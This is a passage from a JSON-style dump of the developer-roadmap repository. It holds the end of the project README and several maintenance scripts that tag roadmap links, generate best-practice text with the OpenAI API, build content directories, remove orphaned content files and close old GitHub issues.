Roadmap](https://roadmap.sh/frontend?r=frontend-beginner)\n- [Backend Roadmap](https://roadmap.sh/backend) / [Backend Beginner Roadmap](https://roadmap.sh/backend?r=backend-beginner)\n- [DevOps Roadmap](https://roadmap.sh/devops) / [DevOps Beginner Roadmap](https://roadmap.sh/devops?r=devops-beginner)\n- [DevSecOps Roadmap](https://roadmap.sh/devsecops)\n- [Full Stack Roadmap](https://roadmap.sh/full-stack)\n- [HTML Roadmap](https://roadmap.sh/html)\n- [CSS Roadmap](https://roadmap.sh/css)\n- [JavaScript Roadmap](https://roadmap.sh/javascript)\n- [TypeScript Roadmap](https://roadmap.sh/typescript)\n- [Git and GitHub](https://roadmap.sh/git-github) / [Git and GitHub Beginner](https://roadmap.sh/git-github?r=git-github-beginner)\n- [API Design Roadmap](https://roadmap.sh/api-design)\n- [Computer Science Roadmap](https://roadmap.sh/computer-science)\n- [Data Structures and Algorithms Roadmap](https://roadmap.sh/datastructures-and-algorithms)\n- [AI and Data Scientist Roadmap](https://roadmap.sh/ai-data-scientist)\n- [AI Engineer Roadmap](https://roadmap.sh/ai-engineer)\n- [AWS Roadmap](https://roadmap.sh/aws)\n- [Cloudflare Roadmap](https://roadmap.sh/cloudflare)\n- [Linux Roadmap](https://roadmap.sh/linux)\n- [Terraform Roadmap](https://roadmap.sh/terraform)\n- [Data Analyst Roadmap](https://roadmap.sh/data-analyst)\n- [BI Analyst Roadmap](https://roadmap.sh/bi-analyst)\n- [Data Engineer Roadmap](https://roadmap.sh/data-engineer)\n- [Machine Learning Roadmap](https://roadmap.sh/machine-learning)\n- [MLOps Roadmap](https://roadmap.sh/mlops)\n- [Product Manager Roadmap](https://roadmap.sh/product-manager)\n- [Engineering Manager Roadmap](https://roadmap.sh/engineering-manager)\n- [QA Roadmap](https://roadmap.sh/qa)\n- [Python Roadmap](https://roadmap.sh/python) \n- [Django Roadmap](https://roadmap.sh/django)\n- [Software Architect Roadmap](https://roadmap.sh/software-architect)\n- [Game Developer Roadmap](https://roadmap.sh/game-developer) / [Server Side Game Developer](https://roadmap.sh/server-side-game-developer)\n- [Software Design and Architecture Roadmap](https://roadmap.sh/software-design-architecture)\n- [C++ Roadmap](https://roadmap.sh/cpp)\n- [React Roadmap](https://roadmap.sh/react)\n- [Next.js Roadmap](https://roadmap.sh/nextjs)\n- [React Native Roadmap](https://roadmap.sh/react-native)\n- [Vue Roadmap](https://roadmap.sh/vue)\n- [Angular Roadmap](https://roadmap.sh/angular)\n- [Node.js Roadmap](https://roadmap.sh/nodejs)\n- [PHP Roadmap](https://roadmap.sh/php)\n- [WordPress Roadmap](https://roadmap.sh/wordpress)\n- [Laravel Roadmap](https://roadmap.sh/laravel)\n- [GraphQL Roadmap](https://roadmap.sh/graphql)\n- [Android Roadmap](https://roadmap.sh/android)\n- [iOS Roadmap](https://roadmap.sh/ios)\n- [Swift/Swift UI Roadmap](https://roadmap.sh/swift-ui)\n- [Flutter Roadmap](https://roadmap.sh/flutter)\n- [Go Roadmap](https://roadmap.sh/golang)\n- [Rust Roadmap](https://roadmap.sh/rust)\n- [Java Roadmap](https://roadmap.sh/java)\n- [Kotlin Roadmap](https://roadmap.sh/kotlin)\n- [Spring Boot Roadmap](https://roadmap.sh/spring-boot)\n- [Design System Roadmap](https://roadmap.sh/design-system)\n- [PostgreSQL Roadmap](https://roadmap.sh/postgresql-dba)\n- [ElasticSearch Roadmap](https://roadmap.sh/elasticsearch)\n- [SQL Roadmap](https://roadmap.sh/sql)\n- [Redis Roadmap](https://roadmap.sh/redis)\n- [Blockchain Roadmap](https://roadmap.sh/blockchain)\n- [ASP.NET Core Roadmap](https://roadmap.sh/aspnet-core)\n- [System Design Roadmap](https://roadmap.sh/system-design)\n- [Kubernetes Roadmap](https://roadmap.sh/kubernetes)\n- [Cyber Security Roadmap](https://roadmap.sh/cyber-security)\n- [MongoDB Roadmap](https://roadmap.sh/mongodb)\n- [UX Design Roadmap](https://roadmap.sh/ux-design)\n- [Docker Roadmap](https://roadmap.sh/docker)\n- [Prompt Engineering Roadmap](https://roadmap.sh/prompt-engineering)\n- [Technical Writer Roadmap](https://roadmap.sh/technical-writer)\n- [DevRel Engineer Roadmap](https://roadmap.sh/devrel)\n- [AI Red Teaming Roadmap](https://roadmap.sh/ai-red-teaming)\n- [AI Agents Roadmap](https://roadmap.sh/ai-agents)\n- [Bash/Shell Roadmap](https://roadmap.sh/shell-bash)\n\nThere are also interactive best practices:\n\n- [Backend Performance Best Practices](https://roadmap.sh/best-practices/backend-performance)\n- [Frontend Performance Best Practices](https://roadmap.sh/best-practices/frontend-performance)\n- [Code Review Best Practices](https://roadmap.sh/best-practices/code-review)\n- [API Security Best Practices](https://roadmap.sh/best-practices/api-security)\n- [AWS Best Practices](https://roadmap.sh/best-practices/aws)\n\n..and questions to help you test, rate and improve your knowledge\n\n- [JavaScript Questions](https://roadmap.sh/questions/javascript)\n- [Node.js Questions](https://roadmap.sh/questions/nodejs)\n- [React Questions](https://roadmap.sh/questions/react)\n- [Backend Questions](https://roadmap.sh/questions/backend)\n- [Frontend Questions](https://roadmap.sh/questions/frontend)\n\n![](https://i.imgur.com/waxVImv.png)\n\n## Share with the community\n\nPlease consider sharing a post about [roadmap.sh](https://roadmap.sh) and the value it provides. It really does help!\n\n[![GitHub Repo stars](https://img.shields.io/badge/share%20on-reddit-red?logo=reddit)](https://reddit.com/submit?url=https://roadmap.sh&title=Interactive%20roadmaps,%20guides%20and%20other%20educational%20content%20for%20Developers)\n[![GitHub Repo stars](https://img.shields.io/badge/share%20on-hacker%20news-orange?logo=ycombinator)](https://news.ycombinator.com/submitlink?u=https://roadmap.sh)\n[![GitHub Repo stars](https://img.shields.io/badge/share%20on-twitter-03A9F4?logo=twitter)](https://twitter.com/share?url=https://roadmap.sh&text=Interactive%20roadmaps,%20guides%20and%20other%20educational%20content%20for%20Developers)\n[![GitHub Repo stars](https://img.shields.io/badge/share%20on-facebook-1976D2?logo=facebook)](https://www.facebook.com/sharer/sharer.php?u=https://roadmap.sh)\n[![GitHub Repo stars](https://img.shields.io/badge/share%20on-linkedin-3949AB?logo=linkedin)](https://www.linkedin.com/shareArticle?url=https://roadmap.sh&title=Interactive%20roadmaps,%20guides%20and%20other%20educational%20content%20for%20Developers)\n\n## Development\n\nClone the repository, install the dependencies and start the application\n\n```bash\ngit clone git@github.com:kamranahmedse/developer-roadmap.git --depth 1\ncd developer-roadmap\npnpm add @roadmapsh/editor@npm:@roadmapsh/dummy-editor -w\npnpm install\n```\n\nRun the development server with:\n\n```bash\npnpm dev\n```\n> Make sure to rename `.env.example` to `.env` before running the app.\n\n## Contribution\n\n> Have a look at [contribution docs](./contributing.md) for how to update any of the roadmaps\n\n- Add content to roadmaps\n- Add new roadmaps\n- Suggest changes to existing roadmaps\n- Discuss ideas in issues\n- Spread the word\n\n## Thanks to all contributors ❤\n\n <a href = \"https://github.com/kamranahmedse/developer-roadmap/graphs/contributors\">\n   <img src = \"https://contrib.rocks/image?repo=kamranahmedse/developer-roadmap\"/>\n </a>\n\n## License\n\nHave a look at the [license file](./license) for details\n"
  },
  {
    "path": "scripts/assign-label-types.cjs",
    "content": "const fs = require('node:fs');\nconst path = require('node:path');\n\nconst allRoadmapDirs = fs.readdirSync(\n  path.join(__dirname, '../src/data/roadmaps'),\n);\n\nallRoadmapDirs.forEach((roadmapId) => {\n  const roadmapDir = path.join(\n    __dirname,\n    `../src/data/roadmaps/${roadmapId}/content`,\n  );\n\n  function getHostNameWithoutTld(hostname) {\n    const parts = hostname.split('.');\n    return parts.slice(0, parts.length - 1).join('.');\n  }\n\n  function isOfficialWebsite(hostname, fileName, roadmapId) {\n    fileName = fileName.replace('/index.md', '').replace('.md', '');\n\n    const parts = fileName.split('/');\n    const lastPart = parts[parts.length - 1];\n\n    const normalizedFilename = lastPart.replace(/\\d+/g, '').replace(/-/g, '');\n    const normalizedHostname = getHostNameWithoutTld(hostname);\n\n    if (normalizedFilename === normalizedHostname) {\n      return true;\n    }\n\n    if (normalizedFilename.includes(normalizedHostname)) {\n      return true;\n    }\n\n    return !!roadmapId.includes(normalizedHostname);\n  }\n\n  // websites are educational websites that are of following types:\n  // - @official@\n  // - @article@\n  // - @course@\n  // - @opensource@\n  // - @podcast@\n  // - @video@\n  // - @website@\n  // content is only educational websites\n  function getTypeFromHostname(hostname, fileName, roadmapId) {\n    hostname = hostname.replace('www.', '');\n\n    const videoHostnames = ['youtube.com', 'vimeo.com', 'youtu.be'];\n    const courseHostnames = ['coursera.org', 'udemy.com', 'edx.org'];\n    const podcastHostnames = ['spotify.com', 'apple.com'];\n    const opensourceHostnames = ['github.com', 'gitlab.com'];\n    const articleHostnames = [\n      'neilpatel.com',\n      'learningseo.io',\n      'htmlreference.io',\n      'docs.gitlab.com',\n      'docs.github.com',\n      'skills.github.com',\n      'cloudflare.com',\n      'w3schools.com',\n      'medium.com',\n      'dev.to',\n      'web.dev',\n      'css-tricks.com',\n      'developer.mozilla.org',\n      'smashingmagazine.com',\n      'freecodecamp.org',\n      'cs.fyi',\n      'thenewstack.io',\n      'html5rocks.com',\n      'html.com',\n      'javascript.info',\n      'css-tricks.com',\n      'developer.apple.com',\n    ];\n\n    if (articleHostnames.includes(hostname)) {\n      return 'article';\n    }\n\n    if (videoHostnames.includes(hostname)) {\n      return 'video';\n    }\n\n    if (courseHostnames.includes(hostname)) {\n      return 'course';\n    }\n\n    if (podcastHostnames.includes(hostname)) {\n      return 'podcast';\n    }\n\n    if (opensourceHostnames.includes(hostname)) {\n      return 'opensource';\n    }\n\n    if (hostname === 'roadmap.sh') {\n      return 'roadmap.sh';\n    }\n\n    if (isOfficialWebsite(hostname, fileName, roadmapId)) {\n      return 'official';\n    }\n\n    return 'article';\n  }\n\n  function readNestedMarkdownFiles(dir, files = []) {\n    const dirEnts = fs.readdirSync(dir, { withFileTypes: true });\n\n    for (const dirent of dirEnts) {\n      const fullPath = path.join(dir, dirent.name);\n      if (dirent.isDirectory()) {\n        readNestedMarkdownFiles(fullPath, files);\n      } else {\n        if (path.extname(fullPath) === '.md') {\n          files.push(fullPath);\n        }\n      }\n    }\n\n    return files;\n  }\n\n  const files = readNestedMarkdownFiles(roadmapDir);\n\n  // for each of the files, assign the type of link to the beginning of each markdown link\n  // i.e. - [@article@abc](xyz) where @article@ is the type of link. Possible types:\n  // - @official@\n  // - @opensource@\n  // - @article@\n  // - @course@\n  // - @opensource@\n  // - @podcast@\n  // - @video@\n  files.forEach((file) => {\n    const content = fs.readFileSync(file, 'utf-8');\n    const lines = content.split('\\n');\n\n    const newContent = lines\n      .map((line) => {\n        if (line.startsWith('- [') && !line.startsWith('- [@')) {\n          const type = line.match(/@(\\w+)@/);\n          if (type) {\n            return line;\n          }\n\n          let urlMatches = line.match(/\\((https?:\\/\\/[^)]+)\\)/);\n          let fullUrl = urlMatches?.[1];\n\n          if (!fullUrl) {\n            // is it slashed URL i.e. - [abc](/xyz)\n            fullUrl = line.match(/\\((\\/[^)]+)\\)/)?.[1];\n            if (fullUrl) {\n              fullUrl = `https://roadmap.sh${fullUrl}`;\n            }\n\n            if (!fullUrl) {\n              console.error('Invalid URL found in:', file);\n              return line;\n            }\n          }\n\n          const url = new URL(fullUrl);\n          const hostname = url.hostname;\n\n          let urlType = getTypeFromHostname(hostname, file, roadmapId);\n          const linkText = line.match(/\\[([^\\]]+)\\]/)[1];\n\n          if (\n            linkText.toLowerCase().startsWith('visit dedicated') &&\n            linkText.toLowerCase().endsWith('roadmap')\n          ) {\n            urlType = 'roadmap';\n          }\n\n          return line.replace('- [', `- [@${urlType}@`).replace('](', '](');\n        }\n\n        return line;\n      })\n      .join('\\n');\n\n    fs.writeFileSync(file, newContent);\n  });\n});\n"
  },
  {
    "path": "scripts/best-practice-content.cjs",
    "content": "const fs = require('fs');\nconst path = require('path');\n\nconst OPEN_AI_API_KEY = process.env.OPEN_AI_API_KEY;\nconst ALL_BEST_PRACTICES_DIR = path.join(\n  __dirname,\n  '../src/data/best-practices',\n);\n\nconst bestPracticeId = process.argv[2];\nconst bestPracticeTitle = bestPracticeId.replace(/-/g, ' ');\n\nconst allowedBestPracticeIds = fs.readdirSync(ALL_BEST_PRACTICES_DIR);\nif (!bestPracticeId) {\n  console.error('bestPracticeId is required');\n  process.exit(1);\n}\n\nif (!allowedBestPracticeIds.includes(bestPracticeId)) {\n  console.error(`Invalid bestPractice key ${bestPracticeId}`);\n  console.error(`Allowed keys are ${allowedBestPracticeIds.join(', ')}`);\n  process.exit(1);\n}\n\nconst BEST_PRACTICE_CONTENT_DIR = path.join(\n  ALL_BEST_PRACTICES_DIR,\n  bestPracticeId,\n  'content',\n);\nconst OpenAI = require('openai');\n\nconst openai = new OpenAI({\n  apiKey: OPEN_AI_API_KEY,\n});\n\nfunction getFilesInFolder(folderPath, fileList = {}) {\n  const files = fs.readdirSync(folderPath);\n\n  files.forEach((file) => {\n    const filePath = path.join(folderPath, file);\n    const stats = fs.statSync(filePath);\n\n    if (stats.isDirectory()) {\n      getFilesInFolder(filePath, fileList);\n    } else if (stats.isFile()) {\n      const fileUrl = filePath\n        .replace(BEST_PRACTICE_CONTENT_DIR, '') // Remove the content folder\n        .replace(/\\/\\d+-/g, '/') // Remove ordering info `/101-ecosystem`\n        .replace(/\\/index\\.md$/, '') // Make the `/index.md` to become the parent folder only\n        .replace(/\\.md$/, ''); // Remove `.md` from the end of file\n\n      fileList[fileUrl] = filePath;\n    }\n  });\n\n  return fileList;\n}\n\nfunction writeTopicContent(topicTitle) {\n  let prompt = `I will give you a topic and you need to write a brief paragraph with examples (if possible) about why it is important for the \"${bestPracticeTitle}\". Just reply to the question without adding any other information about the prompt and use simple language. Also do not start your sentences with \"XYZ is important because..\". Your format should be as follows:\n\n# (Put a heading for the topic)\n\n(Write a brief paragraph about why it is important for the \"${bestPracticeTitle})\n \nFirst topic is: ${topicTitle}`;\n\n  console.log(`Generating '${topicTitle}'...`);\n\n  return new Promise((resolve, reject) => {\n    openai.chat.completions\n      .create({\n        model: 'gpt-4',\n        messages: [\n          {\n            role: 'user',\n            content: prompt,\n          },\n        ],\n      })\n      .then((response) => {\n        const article = response.choices[0].message.content;\n\n        resolve(article);\n      })\n      .catch((err) => {\n        reject(err);\n      });\n  });\n}\n\nasync function writeFileForGroup(group, topicUrlToPathMapping) {\n  const topicId = group?.properties?.controlName;\n  const topicTitle = group?.children?.controls?.control\n    ?.filter((control) => control?.typeID === 'Label')\n    .map((control) => control?.properties?.text)\n    .join(' ')\n    .toLowerCase();\n\n  const currTopicUrl = `/${topicId}`;\n  if (currTopicUrl.startsWith('/check:')) {\n    return;\n  }\n\n  const contentFilePath = topicUrlToPathMapping[currTopicUrl];\n\n  if (!contentFilePath) {\n    console.log(`Missing file for: ${currTopicUrl}`);\n    return;\n  }\n\n  const currentFileContent = fs.readFileSync(contentFilePath, 'utf8');\n  const isFileEmpty = currentFileContent.replace(/^#.+/, ``).trim() === '';\n\n  if (!isFileEmpty) {\n    console.log(`Ignoring ${topicId}. Not empty.`);\n    return;\n  }\n\n  let newFileContent = `# ${topicTitle}`;\n\n  if (!OPEN_AI_API_KEY) {\n    console.log(`Writing ${topicId}..`);\n\n    fs.writeFileSync(contentFilePath, newFileContent, 'utf8');\n    return;\n  }\n\n  if (!topicTitle) {\n    console.log(`Skipping ${topicId}. No title.`);\n    return;\n  }\n\n  const topicContent = await writeTopicContent(topicTitle);\n  newFileContent = `${topicContent}`;\n\n  console.log(`Writing ${topicId}..`);\n  fs.writeFileSync(contentFilePath, newFileContent, 'utf8');\n\n  // console.log(currentFileContent);\n  // console.log(currTopicUrl);\n  // console.log(topicTitle);\n  // console.log(topicUrlToPathMapping[currTopicUrl]);\n}\n\nasync function run() {\n  const topicUrlToPathMapping = getFilesInFolder(BEST_PRACTICE_CONTENT_DIR);\n\n  const bestPracticeJson = require(\n    path.join(ALL_BEST_PRACTICES_DIR, `${bestPracticeId}/${bestPracticeId}`),\n  );\n\n  const groups = bestPracticeJson?.mockup?.controls?.control?.filter(\n    (control) =>\n      control.typeID === '__group__' &&\n      !control.properties?.controlName?.startsWith('ext_link'),\n  );\n\n  if (!OPEN_AI_API_KEY) {\n    console.log('----------------------------------------');\n    console.log('OPEN_AI_API_KEY not found. Skipping openai api calls...');\n    console.log('----------------------------------------');\n  }\n\n  const writePromises = [];\n  for (let group of groups) {\n    writePromises.push(writeFileForGroup(group, topicUrlToPathMapping));\n  }\n\n  console.log('Waiting for all files to be written...');\n  await Promise.all(writePromises);\n}\n\nrun()\n  .then(() => {\n    console.log('Done');\n  })\n  .catch((err) => {\n    console.error(err);\n    process.exit(1);\n  });\n"
  },
  {
    "path": "scripts/best-practice-dirs.cjs",
    "content": "const fs = require('fs');\nconst path = require('path');\n\nconst CONTENT_DIR = path.join(__dirname, '../content');\n// Directory containing the best-practices\nconst BEST_PRACTICE_CONTENT_DIR = path.join(\n  __dirname,\n  '../src/data/best-practices',\n);\nconst bestPracticeId = process.argv[2];\n\nconst allowedBestPracticeId = fs.readdirSync(BEST_PRACTICE_CONTENT_DIR);\nif (!bestPracticeId) {\n  console.error('bestPractice is required');\n  process.exit(1);\n}\n\nif (!allowedBestPracticeId.includes(bestPracticeId)) {\n  console.error(`Invalid best practice key ${bestPracticeId}`);\n  console.error(`Allowed keys are ${allowedBestPracticeId.join(', ')}`);\n  process.exit(1);\n}\n\n// Directory holding the best parctice content files\nconst bestPracticeDirName = fs\n  .readdirSync(BEST_PRACTICE_CONTENT_DIR)\n  .find((dirName) => dirName.replace(/\\d+-/, '') === bestPracticeId);\n\nif (!bestPracticeDirName) {\n  console.error('Best practice directory not found');\n  process.exit(1);\n}\n\nconst bestPracticeDirPath = path.join(\n  BEST_PRACTICE_CONTENT_DIR,\n  bestPracticeDirName,\n);\nconst bestPracticeContentDirPath = path.join(\n  BEST_PRACTICE_CONTENT_DIR,\n  bestPracticeDirName,\n  'content',\n);\n\n// If best practice content already exists do not proceed as it would override the files\nif (fs.existsSync(bestPracticeContentDirPath)) {\n  console.error(\n    `Best Practice content already exists @ ${bestPracticeContentDirPath}`,\n  );\n  process.exit(1);\n}\n\nfunction prepareDirTree(control, dirTree) {\n  // Directories are only created for groups\n  if (control.typeID !== '__group__') {\n    return;\n  }\n\n  // e.g. 104-testing-your-apps:other-options\n  const controlName = control?.properties?.controlName || '';\n\n  // No directory for a group without control name\n  if (\n    !controlName ||\n    controlName.startsWith('check:') ||\n    controlName.startsWith('ext_link:')\n  ) {\n    return;\n  }\n\n  // e.g. ['testing-your-apps', 'other-options']\n  const dirParts = controlName.split(':');\n\n  // Nest the dir path in the dirTree\n  let currDirTree = dirTree;\n  dirParts.forEach((dirPart) => {\n    currDirTree[dirPart] = currDirTree[dirPart] || {};\n    currDirTree = currDirTree[dirPart];\n  });\n\n  const childrenControls = control.children.controls.control;\n  // No more children\n  if (childrenControls.length) {\n    childrenControls.forEach((childControl) => {\n      prepareDirTree(childControl, dirTree);\n    });\n  }\n\n  return { dirTree };\n}\n\nconst bestPractice = require(\n  path.join(\n    __dirname,\n    `../src/data/best-practices/${bestPracticeId}/${bestPracticeId}`,\n  ),\n);\nconst controls = bestPractice.mockup.controls.control;\n\n// Prepare the dir tree that we will be creating\nconst dirTree = {};\n\ncontrols.forEach((control) => {\n  prepareDirTree(control, dirTree);\n});\n\n/**\n * @param parentDir Parent directory in which directory is to be created\n * @param dirTree Nested dir tree to be created\n * @param filePaths The mapping from groupName to file path\n */\nfunction createDirTree(parentDir, dirTree, filePaths = {}) {\n  const childrenDirNames = Object.keys(dirTree);\n  const hasChildren = childrenDirNames.length !== 0;\n\n  // @todo write test for this, yolo for now\n  const groupName = parentDir\n    .replace(bestPracticeContentDirPath, '') // Remove base dir path\n    .replace(/(^\\/)|(\\/$)/g, '') // Remove trailing slashes\n    .replaceAll('/', ':') // Replace slashes with `:`\n    .replace(/:\\d+-/, ':');\n\n  const humanizedGroupName = groupName\n    .split(':')\n    .pop()\n    ?.replaceAll('-', ' ')\n    .replace(/^\\w/, ($0) => $0.toUpperCase());\n\n  // If no children, create a file for this under the parent directory\n  if (!hasChildren) {\n    let fileName = `${parentDir}.md`;\n    fs.writeFileSync(fileName, `# ${humanizedGroupName}`);\n\n    filePaths[groupName || 'home'] = fileName.replace(CONTENT_DIR, '');\n    return filePaths;\n  }\n\n  // There *are* children, so create the parent as a directory\n  // and create `index.md` as the content file for this\n  fs.mkdirSync(parentDir);\n\n  let readmeFilePath = path.join(parentDir, 'index.md');\n  fs.writeFileSync(readmeFilePath, `# ${humanizedGroupName}`);\n\n  filePaths[groupName || 'home'] = readmeFilePath.replace(CONTENT_DIR, '');\n\n  // For each of the directory names, create a\n  // directory inside the given directory\n  childrenDirNames.forEach((dirName) => {\n    createDirTree(path.join(parentDir, dirName), dirTree[dirName], filePaths);\n  });\n\n  return filePaths;\n}\n\n// Create directories and get back the paths for created directories\ncreateDirTree(bestPracticeContentDirPath, dirTree);\nconsole.log('Created best practice content directory structure');\n"
  },
  {
    "path": "scripts/cleanup-orphaned-content.ts",
    "content": "import type { Node } from '@roadmapsh/editor';\nimport matter from 'gray-matter';\nimport fs from 'node:fs/promises';\nimport path from 'node:path';\nimport { fileURLToPath } from 'node:url';\nimport { slugify } from '../src/lib/slugger';\n\nconst __filename = fileURLToPath(import.meta.url);\nconst __dirname = path.dirname(__filename);\n\nconst ROADMAP_CONTENT_DIR = path.join(__dirname, '../src/data/roadmaps');\n\nconst args = process.argv.slice(2);\nconst roadmapSlug = args?.[0]?.replace('--roadmap-slug=', '');\n\nif (!roadmapSlug) {\n  console.error('Usage: tsx scripts/cleanup-orphaned-content.ts --roadmap-slug=<slug|__all__>');\n  process.exit(1);\n}\n\ninterface OrphanEntry {\n  file: string;\n  reason: string;\n  duplicateOf: string;\n  action: 'deleted' | 'renamed';\n  renamedTo?: string;\n}\n\nasync function fetchRoadmapJson(slug: string): Promise<{ nodes: Node[] }> {\n  try {\n    const response = await fetch(\n      `https://roadmap.sh/api/v1-official-roadmap/${slug}`,\n    );\n\n    if (!response.ok) {\n      throw new Error(`HTTP ${response.status}`);\n    }\n\n    const data = await response.json();\n    if (data.error) {\n      throw new Error(data.error);\n    }\n\n    return data;\n  } catch (err) {\n    console.log(`  API fetch failed for ${slug}, falling back to local JSON`);\n    const localPath = path.join(ROADMAP_CONTENT_DIR, slug, `${slug}.json`);\n    const raw = await fs.readFile(localPath, 'utf-8');\n    return JSON.parse(raw);\n  }\n}\n\nasync function isEditorRoadmap(slug: string): Promise<boolean> {\n  const mdPath = path.join(ROADMAP_CONTENT_DIR, slug, `${slug}.md`);\n  try {\n    const raw = await fs.readFile(mdPath, 'utf-8');\n    const { data } = matter(raw);\n    return data.renderer === 'editor';\n  } catch {\n    return false;\n  }\n}\n\nasync function getEditorRoadmapSlugs(): Promise<string[]> {\n  const allDirs = await fs.readdir(ROADMAP_CONTENT_DIR);\n  const results: string[] = [];\n\n  for (const dir of allDirs) {\n    const stat = await fs.stat(path.join(ROADMAP_CONTENT_DIR, dir)).catch(() => null);\n    if (!stat?.isDirectory()) {\n      continue;\n    }\n    if (await isEditorRoadmap(dir)) {\n      results.push(dir);\n    }\n  }\n\n  return results;\n}\n\nfunction parseContentFilename(filename: string): { slug: string; nodeId: string } | null {\n  const match = filename.match(/^(.+)@([^.]+)\\.md$/);\n  if (!match) {\n    return null;\n  }\n  return { slug: match[1], nodeId: match[2] };\n}\n\nasync function cleanupRoadmap(slug: string): Promise<OrphanEntry[]> {\n  console.log(`\\nProcessing: ${slug}`);\n\n  const contentDir = path.join(ROADMAP_CONTENT_DIR, slug, 'content');\n  const stat = await fs.stat(contentDir).catch(() => null);\n  if (!stat?.isDirectory()) {\n    console.log(`  No content directory found, skipping`);\n    return [];\n  }\n\n  const roadmapData = await fetchRoadmapJson(slug);\n  if (!roadmapData?.nodes) {\n    console.log(`  No nodes found in roadmap JSON, skipping`);\n    return [];\n  }\n\n  const topicNodes = roadmapData.nodes.filter(\n    (node) =>\n      node?.type &&\n      ['topic', 'subtopic'].includes(node.type) &&\n      node.data?.label,\n  );\n\n  const validNodeIds = new Set<string>();\n  const nodeIdToExpectedSlug = new Map<string, string>();\n\n  for (const node of topicNodes) {\n    validNodeIds.add(node.id);\n    nodeIdToExpectedSlug.set(node.id, slugify(node.data.label as string));\n  }\n\n  const files = await fs.readdir(contentDir);\n  const orphans: OrphanEntry[] = [];\n\n  const validFilesBySlug = new Map<string, string>();\n  for (const file of files) {\n    const parsed = parseContentFilename(file);\n    if (!parsed) {\n      continue;\n    }\n    if (validNodeIds.has(parsed.nodeId) && nodeIdToExpectedSlug.get(parsed.nodeId) === parsed.slug) {\n      validFilesBySlug.set(parsed.slug, file);\n    }\n  }\n\n  for (const file of files) {\n    const parsed = parseContentFilename(file);\n    if (!parsed) {\n      continue;\n    }\n\n    const { slug: fileSlug, nodeId } = parsed;\n\n    if (validNodeIds.has(nodeId)) {\n      const expectedSlug = nodeIdToExpectedSlug.get(nodeId)!;\n      if (fileSlug === expectedSlug) {\n        continue;\n      }\n\n      const correctFile = `${expectedSlug}@${nodeId}.md`;\n      const correctFileExists = files.includes(correctFile);\n\n      if (correctFileExists) {\n        orphans.push({\n          file,\n          reason: 'Same nodeId, old slug',\n          duplicateOf: correctFile,\n          action: 'deleted',\n        });\n      } else {\n        orphans.push({\n          file,\n          reason: 'Same nodeId, old slug',\n          duplicateOf: correctFile,\n          action: 'renamed',\n          renamedTo: correctFile,\n        });\n      }\n      continue;\n    }\n\n    const validFile = validFilesBySlug.get(fileSlug);\n    if (validFile) {\n      orphans.push({\n        file,\n        reason: 'Same slug, old nodeId',\n        duplicateOf: validFile,\n        action: 'deleted',\n      });\n    } else {\n      orphans.push({\n        file,\n        reason: 'Topic removed from roadmap',\n        duplicateOf: 'N/A',\n        action: 'deleted',\n      });\n    }\n  }\n\n  for (const orphan of orphans) {\n    const filePath = path.join(contentDir, orphan.file);\n    if (orphan.action === 'renamed') {\n      const newPath = path.join(contentDir, orphan.renamedTo!);\n      await fs.rename(filePath, newPath);\n      console.log(`  Renamed: ${orphan.file} -> ${orphan.renamedTo} (${orphan.reason})`);\n    } else {\n      await fs.unlink(filePath);\n      console.log(`  Deleted: ${orphan.file} (${orphan.reason})`);\n    }\n  }\n\n  if (orphans.length === 0) {\n    console.log(`  No orphans found`);\n  }\n\n  return orphans;\n}\n\nasync function main() {\n  const slugs =\n    roadmapSlug === '__all__'\n      ? await getEditorRoadmapSlugs()\n      : [roadmapSlug];\n\n  if (roadmapSlug !== '__all__') {\n    if (!(await isEditorRoadmap(roadmapSlug))) {\n      console.error(`${roadmapSlug} is not an editor-rendered roadmap`);\n      process.exit(1);\n    }\n  }\n\n  console.log(`Processing ${slugs.length} roadmap(s)...`);\n\n  const allOrphans = new Map<string, OrphanEntry[]>();\n  let totalOrphans = 0;\n\n  for (const slug of slugs) {\n    const orphans = await cleanupRoadmap(slug);\n    if (orphans.length > 0) {\n      allOrphans.set(slug, orphans);\n      totalOrphans += orphans.length;\n    }\n  }\n\n  const roadmapsAffected = allOrphans.size;\n\n  let summary = `## Orphaned Content Cleanup\\n\\n`;\n  summary += `Cleaned up **${totalOrphans}** orphaned content file(s) across **${roadmapsAffected}** roadmap(s).\\n\\n`;\n\n  for (const [slug, orphans] of allOrphans) {\n    summary += `### ${slug}\\n\\n`;\n    summary += `| File | Action | Reason | Duplicate Of |\\n`;\n    summary += `|---|---|---|---|\\n`;\n    for (const orphan of orphans) {\n      const action = orphan.action === 'renamed' ? `Renamed to \\`${orphan.renamedTo}\\`` : 'Deleted';\n      const dupOf = orphan.duplicateOf === 'N/A' ? 'N/A' : `\\`${orphan.duplicateOf}\\``;\n      summary += `| \\`${orphan.file}\\` | ${action} | ${orphan.reason} | ${dupOf} |\\n`;\n    }\n    summary += `\\n`;\n  }\n\n  const summaryPath = path.join(__dirname, '..', '.cleanup-summary.md');\n  await fs.writeFile(summaryPath, summary);\n  console.log(`\\nSummary written to .cleanup-summary.md`);\n  console.log(`Total: ${totalOrphans} orphaned file(s) cleaned up across ${roadmapsAffected} roadmap(s)`);\n}\n\nmain().catch((err) => {\n  console.error(err);\n  process.exit(1);\n});\n"
  },
  {
    "path": "scripts/close-issues.sh",
    "content": "#!/usr/bin/env bash\n\n# Fetch issues JSON data and parse it properly\nissues=$(gh issue list --repo kamranahmedse/developer-roadmap --search \"sort:created-asc\" --state open --limit 500 --json number,title,createdAt,updatedAt,state,url,comments,reactionGroups,body | jq -c '.[]')\n\n# Loop through the issues and delete the ones created in 2022 and not updated in the past year\nwhile IFS= read -r issue; do\n    created_at=$(echo \"$issue\" | jq -r '.createdAt')\n    updated_at=$(echo \"$issue\" | jq -r '.updatedAt')\n    issue_number=$(echo \"$issue\" | jq -r '.number')\n    issue_title=$(echo \"$issue\" | jq -r '.title')\n    reaction_groups=$(echo \"$issue\" | jq -r '.reactionGroups')\n    has_reactions=$(echo \"$issue\" | jq -r '.reactionGroups | length')\n    comment_count=$(echo \"$issue\" | jq -r '.comments | length')\n    body_characters=$(echo \"$issue\" | jq -r '.body | length')\n\n    # if has empty body\n    if [[ \"$created_at\" == 2024-01* ]]; then\n\n      comment=\"Hey there!\n\nLooks like this issue has been hanging around for a bit without much action. Our roadmaps have evolved quite a bit since then, and a bunch of older issues aren't really applicable anymore. So, we're tidying things up by closing out the older ones to keep our issue tracker nice and organized for future feedback.\n\nIf you still think this problem needs addressing, don't hesitate to reopen the issue. We're here to help!\n\nThanks a bunch!\"\n\n      gh issue comment \"$issue_number\" --body \"$comment\"\n      gh issue close \"$issue_number\"\n    fi\ndone <<< \"$issues\"\n"
  },
  {
    "path": "scripts/compress-images.ts",
